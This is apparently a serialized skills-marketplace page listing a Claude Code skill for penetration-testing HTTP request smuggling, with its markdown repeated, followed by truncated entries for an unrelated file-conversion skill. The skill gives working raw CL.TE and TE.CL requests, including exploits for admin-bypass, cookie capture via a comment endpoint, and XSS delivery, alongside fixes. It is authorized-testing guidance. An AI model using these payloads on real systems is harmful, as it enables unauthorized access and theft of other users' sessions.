[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ETN3SZ0TBMVXTNTZGDMXS2":3,"skill-same:01M6ETN3SZ0TBMVXTNTZGDMXS2":109},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":70,"commitSha":71,"skillDirectory":72,"forksCount":14,"repositoryHtmlUrl":73,"repositoryHomepageUrl":74,"ownerHtmlUrl":75,"ownerBlogUrl":6,"ownerDescription":76,"updatedAt":77,"install":78,"resources":91},"01M6ETN3SZ0TBMVXTNTZGDMXS2","exploiting-http-request-smuggling",null,"Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-http-request-smuggling\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"http","http request","exploiting http request smuggling","application-security","detecting","penetration","de","end","back","007","cm","parsing","testing","t1505","t1059","web-application-security","owasp","pr","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: exploiting-http-request-smuggling\ndescription: Detecting and exploiting HTTP request smuggling vulnerabilities caused\n  by Content-Length and Transfer-Encoding parsing discrepancies between front-end\n  and back-end servers.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- request-smuggling\n- http-desync\n- web-security\n- burpsuite\n- owasp\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Exploiting HTTP Request Smuggling\n\n## When to Use\n\n- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN\n- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)\n- For assessing applications for HTTP desynchronization vulnerabilities\n- When other attack vectors are limited and you need to bypass front-end security controls\n- During security assessments of multi-tier web architectures\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)\n- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)\n- **smuggler.py**: Automated HTTP request smuggling detection tool\n- **curl**: Compiled with HTTP\u002F1.1 support and manual chunked encoding\n- **Target architecture knowledge**: Understanding of proxy\u002Fserver chain (front-end and back-end)\n- **Caution**: Request smuggling can affect other users' requests; test carefully\n\n## Workflow\n\n### Step 1: Identify the HTTP Architecture\n\nDetermine the proxy\u002Fserver chain and HTTP parsing characteristics.\n\n```bash\n# Identify front-end proxy\u002FCDN\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -iE \\\n  \"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)\"\n\n# Common architectures:\n# Cloudflare → Nginx → Application\n# AWS ALB → Apache → Application\n# HAProxy → Gunicorn → Python app\n# Nginx → Node.js\u002FExpress\n# Akamai → IIS → .NET app\n\n# Check HTTP version support\ncurl -s -I --http1.1 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\ncurl -s -I --http2 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\n\n# Check if Transfer-Encoding is supported\ncurl -s -X POST \\\n  -H \"Transfer-Encoding: chunked\" \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"0\\r\\n\\r\\n\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\" -w \"%{http_code}\"\n\n# Check for HTTP\u002F2 downgrade to HTTP\u002F1.1 on backend\n# Many CDNs accept HTTP\u002F2 but forward HTTP\u002F1.1 to origin\n```\n\n### Step 2: Test for CL.TE Smuggling\n\nThe front-end uses Content-Length, the back-end uses Transfer-Encoding.\n\n```\n# In Burp Suite Repeater, disable \"Update Content-Length\" option\n# Send the following request manually:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nSMUGGLED\n\n# If vulnerable (CL.TE):\n# Front-end reads 13 bytes (Content-Length), forwards entire request\n# Back-end reads chunked: \"0\\r\\n\\r\\n\" = end of body\n# \"SMUGGLED\" becomes the start of the next request\n\n# Detection technique: Time-based\n# If back-end reads chunked and sees incomplete chunk, it waits:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 4\nTransfer-Encoding: chunked\n\n1\nA\nX\n\n# If response is delayed (~5-10 seconds), CL.TE is likely\n```\n\n### Step 3: Test for TE.CL Smuggling\n\nThe front-end uses Transfer-Encoding, the back-end uses Content-Length.\n\n```\n# Burp Repeater - disable \"Update Content-Length\"\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 3\nTransfer-Encoding: chunked\n\n8\nSMUGGLED\n0\n\n\n# If vulnerable (TE.CL):\n# Front-end reads chunked: chunk \"SMUGGLED\" + final \"0\"\n# Back-end reads 3 bytes of Content-Length: \"8\\r\\n\"\n# Remaining \"SMUGGLED\\r\\n0\\r\\n\\r\\n\" becomes next request prefix\n\n# Detection via differential response:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 6\nTransfer-Encoding: chunked\n\n0\n\nX\n\n# Front-end (TE): reads \"0\\r\\n\\r\\n\", sees end\n# Back-end (CL): reads 6 bytes \"0\\r\\nX\\r\\n\"\n# Next request gets \"X\" prepended, causing 400\u002F405 errors\n```\n\n### Step 4: Use Automated Detection Tools\n\nRun automated scanners to detect smuggling variants.\n\n```bash\n# Using smuggler.py\ngit clone https:\u002F\u002Fgithub.com\u002Fdefparam\u002Fsmuggler.git\ncd smuggler\npython3 smuggler.py -u \"https:\u002F\u002Ftarget.example.com\u002F\" -m GET POST\n\n# Using Burp HTTP Request Smuggler extension\n# 1. Install from BApp Store: \"HTTP Request Smuggler\"\n# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe\n# 3. Check Scanner > Issue Activity for results\n\n# Using h2csmuggler for HTTP\u002F2 smuggling\n# git clone https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fh2cSmuggler.git\npython3 h2csmuggler.py -x \"https:\u002F\u002Ftarget.example.com\u002F\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\"\n\n# Manual detection with Turbo Intruder\n# Send paired requests with different timing\n# First request: smuggling prefix\n# Second request: normal request that gets affected\n```\n\n### Step 5: Exploit Request Smuggling for Impact\n\nLeverage confirmed smuggling for practical attacks.\n\n```\n# Attack 1: Bypass front-end access controls\n# Access \u002Fadmin which is blocked by the front-end proxy\n\n# CL.TE exploit:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 56\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: target.example.com\nFoo: x\n\n# The smuggled \"GET \u002Fadmin\" request bypasses front-end restrictions\n# because it's processed by the back-end directly\n\n# Attack 2: Capture other users' requests\n# Smuggle a request that stores the next user's request in a visible location\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 130\nTransfer-Encoding: chunked\n\n0\n\nPOST \u002Fapi\u002Fcomments HTTP\u002F1.1\nHost: target.example.com\nContent-Type: application\u002Fx-www-form-urlencoded\nContent-Length: 400\n\nbody=\n\n# The next legitimate user's request gets appended to \"body=\"\n# and stored as a comment, exposing their cookies and headers\n\n# Attack 3: Reflected XSS escalation\n# Smuggle a request that will reflect XSS in the next response\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 150\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fsearch?q=\u003Cscript>alert(document.cookie)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 10\nFoo: x\n\n# Next user receives the XSS response instead of their expected response\n```\n\n### Step 6: Test HTTP\u002F2 Request Smuggling\n\nAssess HTTP\u002F2 specific smuggling vectors.\n\n```\n# HTTP\u002F2 smuggling via CRLF injection in headers\n# HTTP\u002F2 should reject \\r\\n in header values, but some proxies don't\n\n# H2.CL smuggling: HTTP\u002F2 front-end, Content-Length on back-end\n# Send HTTP\u002F2 request with mismatched :path and content\n\n# Using Burp Suite with HTTP\u002F2 support:\n# 1. Enable HTTP\u002F2 in Repeater: Inspector > HTTP\u002F2\n# 2. Craft request with conflicting CL header\n\n# HTTP\u002F2 header injection\n# Add: Transfer-Encoding: chunked via HTTP\u002F2 pseudo-header\n# Some front-ends strip TE from HTTP\u002F1.1 but not from HTTP\u002F2\n\n# Test HTTP\u002F2 request tunneling\n# If front-end reuses HTTP\u002F2 connections for multiple users:\n# Poison the connection to affect subsequent requests\n\n# H2.TE smuggling via HTTP\u002F2 CONNECT\n# Use CONNECT method in HTTP\u002F2 to establish tunnels\n# that bypass front-end security controls\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding |\n| **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length |\n| **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently |\n| **HTTP Desync** | State where front-end and back-end disagree on request boundaries |\n| **Request Splitting** | One HTTP request is interpreted as two separate requests |\n| **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection |\n| **H2.CL Smuggling** | HTTP\u002F2 to HTTP\u002F1.1 downgrade with Content-Length discrepancy |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length |\n| **HTTP Request Smuggler (Burp)** | Automated smuggling detection extension by James Kettle |\n| **smuggler.py** | Python-based automated HTTP request smuggling scanner |\n| **h2cSmuggler** | HTTP\u002F2 cleartext smuggling tool from Bishop Fox |\n| **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests |\n| **curl** | Manual HTTP request crafting with precise byte control |\n\n## Common Scenarios\n\n### Scenario 1: Admin Panel Access Bypass\nThe front-end proxy blocks `\u002Fadmin` requests. A CL.TE smuggling attack prepends `GET \u002Fadmin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.\n\n### Scenario 2: Cookie Theft via Request Capture\nA TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.\n\n### Scenario 3: Cache Poisoning via Smuggling\nA smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.\n\n### Scenario 4: HTTP\u002F2 Desync on CDN\nThe CDN accepts HTTP\u002F2 and downgrades to HTTP\u002F1.1 for the origin. A header injection via HTTP\u002F2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.\n\n## Output Format\n\n```\n## HTTP Request Smuggling Finding\n\n**Vulnerability**: CL.TE HTTP Request Smuggling\n**Severity**: Critical (CVSS 9.1)\n**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Architecture\nFront-end: Cloudflare (Content-Length priority)\nBack-end: Gunicorn (Transfer-Encoding priority)\nProtocol: HTTP\u002F1.1 between proxy and origin\n\n### Reproduction Steps\n1. Send POST request with both Content-Length and Transfer-Encoding headers\n2. Content-Length set to include smuggled request prefix\n3. Transfer-Encoding: chunked with \"0\\r\\n\\r\\n\" ending body\n4. Smuggled data becomes prefix of next back-end request\n\n### Confirmed Exploits\n| Exploit | Impact |\n|---------|--------|\n| Admin bypass | Accessed \u002Fadmin without authentication |\n| Request capture | Stole session cookies from other users |\n| XSS escalation | Delivered reflected XSS to arbitrary users |\n| Cache poisoning | Poisoned CDN cache with malicious response |\n\n### Recommendation\n1. Ensure front-end and back-end use the same HTTP parsing behavior\n2. Reject ambiguous requests with both Content-Length and Transfer-Encoding\n3. Upgrade to HTTP\u002F2 end-to-end (no protocol downgrade)\n4. Use HTTP\u002F2 between proxy and origin server\n5. Normalize requests at the front-end before forwarding\n```\n","# Exploiting HTTP Request Smuggling\n\n## When to Use\n\n- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN\n- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)\n- For assessing applications for HTTP desynchronization vulnerabilities\n- When other attack vectors are limited and you need to bypass front-end security controls\n- During security assessments of multi-tier web architectures\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)\n- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)\n- **smuggler.py**: Automated HTTP request smuggling detection tool\n- **curl**: Compiled with HTTP\u002F1.1 support and manual chunked encoding\n- **Target architecture knowledge**: Understanding of proxy\u002Fserver chain (front-end and back-end)\n- **Caution**: Request smuggling can affect other users' requests; test carefully\n\n## Workflow\n\n### Step 1: Identify the HTTP Architecture\n\nDetermine the proxy\u002Fserver chain and HTTP parsing characteristics.\n\n```bash\n# Identify front-end proxy\u002FCDN\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -iE \\\n  \"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)\"\n\n# Common architectures:\n# Cloudflare → Nginx → Application\n# AWS ALB → Apache → Application\n# HAProxy → Gunicorn → Python app\n# Nginx → Node.js\u002FExpress\n# Akamai → IIS → .NET app\n\n# Check HTTP version support\ncurl -s -I --http1.1 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\ncurl -s -I --http2 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\n\n# Check if Transfer-Encoding is supported\ncurl -s -X POST \\\n  -H \"Transfer-Encoding: chunked\" \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"0\\r\\n\\r\\n\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\" -w \"%{http_code}\"\n\n# Check for HTTP\u002F2 downgrade to HTTP\u002F1.1 on backend\n# Many CDNs accept HTTP\u002F2 but forward HTTP\u002F1.1 to origin\n```\n\n### Step 2: Test for CL.TE Smuggling\n\nThe front-end uses Content-Length, the back-end uses Transfer-Encoding.\n\n```\n# In Burp Suite Repeater, disable \"Update Content-Length\" option\n# Send the following request manually:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nSMUGGLED\n\n# If vulnerable (CL.TE):\n# Front-end reads 13 bytes (Content-Length), forwards entire request\n# Back-end reads chunked: \"0\\r\\n\\r\\n\" = end of body\n# \"SMUGGLED\" becomes the start of the next request\n\n# Detection technique: Time-based\n# If back-end reads chunked and sees incomplete chunk, it waits:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 4\nTransfer-Encoding: chunked\n\n1\nA\nX\n\n# If response is delayed (~5-10 seconds), CL.TE is likely\n```\n\n### Step 3: Test for TE.CL Smuggling\n\nThe front-end uses Transfer-Encoding, the back-end uses Content-Length.\n\n```\n# Burp Repeater - disable \"Update Content-Length\"\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 3\nTransfer-Encoding: chunked\n\n8\nSMUGGLED\n0\n\n\n# If vulnerable (TE.CL):\n# Front-end reads chunked: chunk \"SMUGGLED\" + final \"0\"\n# Back-end reads 3 bytes of Content-Length: \"8\\r\\n\"\n# Remaining \"SMUGGLED\\r\\n0\\r\\n\\r\\n\" becomes next request prefix\n\n# Detection via differential response:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 6\nTransfer-Encoding: chunked\n\n0\n\nX\n\n# Front-end (TE): reads \"0\\r\\n\\r\\n\", sees end\n# Back-end (CL): reads 6 bytes \"0\\r\\nX\\r\\n\"\n# Next request gets \"X\" prepended, causing 400\u002F405 errors\n```\n\n### Step 4: Use Automated Detection Tools\n\nRun automated scanners to detect smuggling variants.\n\n```bash\n# Using smuggler.py\ngit clone https:\u002F\u002Fgithub.com\u002Fdefparam\u002Fsmuggler.git\ncd smuggler\npython3 smuggler.py -u \"https:\u002F\u002Ftarget.example.com\u002F\" -m GET POST\n\n# Using Burp HTTP Request Smuggler extension\n# 1. Install from BApp Store: \"HTTP Request Smuggler\"\n# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe\n# 3. Check Scanner > Issue Activity for results\n\n# Using h2csmuggler for HTTP\u002F2 smuggling\n# git clone https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fh2cSmuggler.git\npython3 h2csmuggler.py -x \"https:\u002F\u002Ftarget.example.com\u002F\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\"\n\n# Manual detection with Turbo Intruder\n# Send paired requests with different timing\n# First request: smuggling prefix\n# Second request: normal request that gets affected\n```\n\n### Step 5: Exploit Request Smuggling for Impact\n\nLeverage confirmed smuggling for practical attacks.\n\n```\n# Attack 1: Bypass front-end access controls\n# Access \u002Fadmin which is blocked by the front-end proxy\n\n# CL.TE exploit:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 56\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: target.example.com\nFoo: x\n\n# The smuggled \"GET \u002Fadmin\" request bypasses front-end restrictions\n# because it's processed by the back-end directly\n\n# Attack 2: Capture other users' requests\n# Smuggle a request that stores the next user's request in a visible location\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 130\nTransfer-Encoding: chunked\n\n0\n\nPOST \u002Fapi\u002Fcomments HTTP\u002F1.1\nHost: target.example.com\nContent-Type: application\u002Fx-www-form-urlencoded\nContent-Length: 400\n\nbody=\n\n# The next legitimate user's request gets appended to \"body=\"\n# and stored as a comment, exposing their cookies and headers\n\n# Attack 3: Reflected XSS escalation\n# Smuggle a request that will reflect XSS in the next response\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 150\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fsearch?q=\u003Cscript>alert(document.cookie)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 10\nFoo: x\n\n# Next user receives the XSS response instead of their expected response\n```\n\n### Step 6: Test HTTP\u002F2 Request Smuggling\n\nAssess HTTP\u002F2 specific smuggling vectors.\n\n```\n# HTTP\u002F2 smuggling via CRLF injection in headers\n# HTTP\u002F2 should reject \\r\\n in header values, but some proxies don't\n\n# H2.CL smuggling: HTTP\u002F2 front-end, Content-Length on back-end\n# Send HTTP\u002F2 request with mismatched :path and content\n\n# Using Burp Suite with HTTP\u002F2 support:\n# 1. Enable HTTP\u002F2 in Repeater: Inspector > HTTP\u002F2\n# 2. Craft request with conflicting CL header\n\n# HTTP\u002F2 header injection\n# Add: Transfer-Encoding: chunked via HTTP\u002F2 pseudo-header\n# Some front-ends strip TE from HTTP\u002F1.1 but not from HTTP\u002F2\n\n# Test HTTP\u002F2 request tunneling\n# If front-end reuses HTTP\u002F2 connections for multiple users:\n# Poison the connection to affect subsequent requests\n\n# H2.TE smuggling via HTTP\u002F2 CONNECT\n# Use CONNECT method in HTTP\u002F2 to establish tunnels\n# that bypass front-end security controls\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding |\n| **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length |\n| **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently |\n| **HTTP Desync** | State where front-end and back-end disagree on request boundaries |\n| **Request Splitting** | One HTTP request is interpreted as two separate requests |\n| **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection |\n| **H2.CL Smuggling** | HTTP\u002F2 to HTTP\u002F1.1 downgrade with Content-Length discrepancy |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length |\n| **HTTP Request Smuggler (Burp)** | Automated smuggling detection extension by James Kettle |\n| **smuggler.py** | Python-based automated HTTP request smuggling scanner |\n| **h2cSmuggler** | HTTP\u002F2 cleartext smuggling tool from Bishop Fox |\n| **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests |\n| **curl** | Manual HTTP request crafting with precise byte control |\n\n## Common Scenarios\n\n### Scenario 1: Admin Panel Access Bypass\nThe front-end proxy blocks `\u002Fadmin` requests. A CL.TE smuggling attack prepends `GET \u002Fadmin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.\n\n### Scenario 2: Cookie Theft via Request Capture\nA TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.\n\n### Scenario 3: Cache Poisoning via Smuggling\nA smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.\n\n### Scenario 4: HTTP\u002F2 Desync on CDN\nThe CDN accepts HTTP\u002F2 and downgrades to HTTP\u002F1.1 for the origin. A header injection via HTTP\u002F2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.\n\n## Output Format\n\n```\n## HTTP Request Smuggling Finding\n\n**Vulnerability**: CL.TE HTTP Request Smuggling\n**Severity**: Critical (CVSS 9.1)\n**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Architecture\nFront-end: Cloudflare (Content-Length priority)\nBack-end: Gunicorn (Transfer-Encoding priority)\nProtocol: HTTP\u002F1.1 between proxy and origin\n\n### Reproduction Steps\n1. Send POST request with both Content-Length and Transfer-Encoding headers\n2. Content-Length set to include smuggled request prefix\n3. Transfer-Encoding: chunked with \"0\\r\\n\\r\\n\" ending body\n4. Smuggled data becomes prefix of next back-end request\n\n### Confirmed Exploits\n| Exploit | Impact |\n|---------|--------|\n| Admin bypass | Accessed \u002Fadmin without authentication |\n| Request capture | Stole session cookies from other users |\n| XSS escalation | Delivered reflected XSS to arbitrary users |\n| Cache poisoning | Poisoned CDN cache with malicious response |\n\n### Recommendation\n1. Ensure front-end and back-end use the same HTTP parsing behavior\n2. Reject ambiguous requests with both Content-Length and Transfer-Encoding\n3. Upgrade to HTTP\u002F2 end-to-end (no protocol downgrade)\n4. Use HTTP\u002F2 between proxy and origin server\n5. Normalize requests at the front-end before forwarding\n```\n",{"name":5,"tags":52,"author":58,"domain":45,"license":15,"version":59,"nist_csf":60,"subdomain":42,"description":7,"mitre_attack":65},[53,54,55,56,57,43],"penetration-testing","request-smuggling","http-desync","web-security","burpsuite","mahipal","1.0",[61,62,63,64],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[66,67,68,69],"T1190","T1059.007","T1505.003","T1083","main","7925716f065257435fdb12e97f7e52842147d5ad",".claude\u002Fskills\u002Fexploiting-http-request-smuggling","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude","https:\u002F\u002Fclaude.com\u002Fclaude-code","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho","Software · Applied AI · Quantitative Modeling · Building with Claude.","2026-06-10 12:24:46",{"source":8,"skillName":5,"commands":79,"prompt":89,"zipAvailable":90},[80,83,86],{"tool":81,"command":82},"npx","npx skills add henriquescastilho\u002Fmy-claude --skill exploiting-http-request-smuggling",{"tool":84,"command":85},"bunx","bunx skills add henriquescastilho\u002Fmy-claude --skill exploiting-http-request-smuggling",{"tool":87,"command":88},"pnpm","pnpm dlx skills add henriquescastilho\u002Fmy-claude --skill exploiting-http-request-smuggling","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-http-request-smuggling\u002FSKILL.md",true,[92,97,103],{"path":93,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":95,"sourceHtmlUrl":96},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-http-request-smuggling\u002FLICENSE",{"path":98,"resourceType":99,"resourceTypeDesc":100,"sizeBytes":101,"sourceHtmlUrl":102},"references\u002Fapi-reference.md","REFERENCE","参考文档",1969,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-http-request-smuggling\u002Freferences\u002Fapi-reference.md",{"path":104,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":107,"sourceHtmlUrl":108},"scripts\u002Fagent.py","SCRIPT","脚本",6479,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-http-request-smuggling\u002Fscripts\u002Fagent.py",[110,151,160,169,191,217],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":114,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":131,"publishedAt":47},"01M6F0B6XPQ65AX2X0DWK8KT3E","markitdown","Convert files and office documents to Markdown. Supports PDF, DOCX, PPTX, XLSX, images (with OCR), audio (with transcription), HTML, CSV, JSON, XML, ZIP, YouTube URLs, EPubs and more.","MIT","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[117,120,123,126],{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理",{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":124,"categoryName":125,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000004","电子表格",{"categoryNo":127,"categoryName":128,"taxonomyType":129,"taxonomyTypeDesc":130},"01JBSEEDCAT000000000000034","行政与办公人员","PROFESSION","适用职业",[112,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150],"docx","PDF","pptx","xlsx","documents","csv","ocr","Audio","Bash","markdown","convert","read","write","edit","html","images","files","youtube","with",{"skillNo":152,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":114,"licenseFileUrl":6,"sourceHtmlUrl":153,"categories":154,"keywords":159,"publishedAt":47},"01M6F06SBHR9F0SDWE282Y8075","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fscientific_writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[155,156,157,158],{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":124,"categoryName":125,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":127,"categoryName":128,"taxonomyType":129,"taxonomyTypeDesc":130},[112,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150],{"skillNo":161,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":114,"licenseFileUrl":6,"sourceHtmlUrl":162,"categories":163,"keywords":168,"publishedAt":47},"01M6F02D4R14EJAPBWVDF9J9VQ","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[164,165,166,167],{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":124,"categoryName":125,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":127,"categoryName":128,"taxonomyType":129,"taxonomyTypeDesc":130},[112,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150],{"skillNo":170,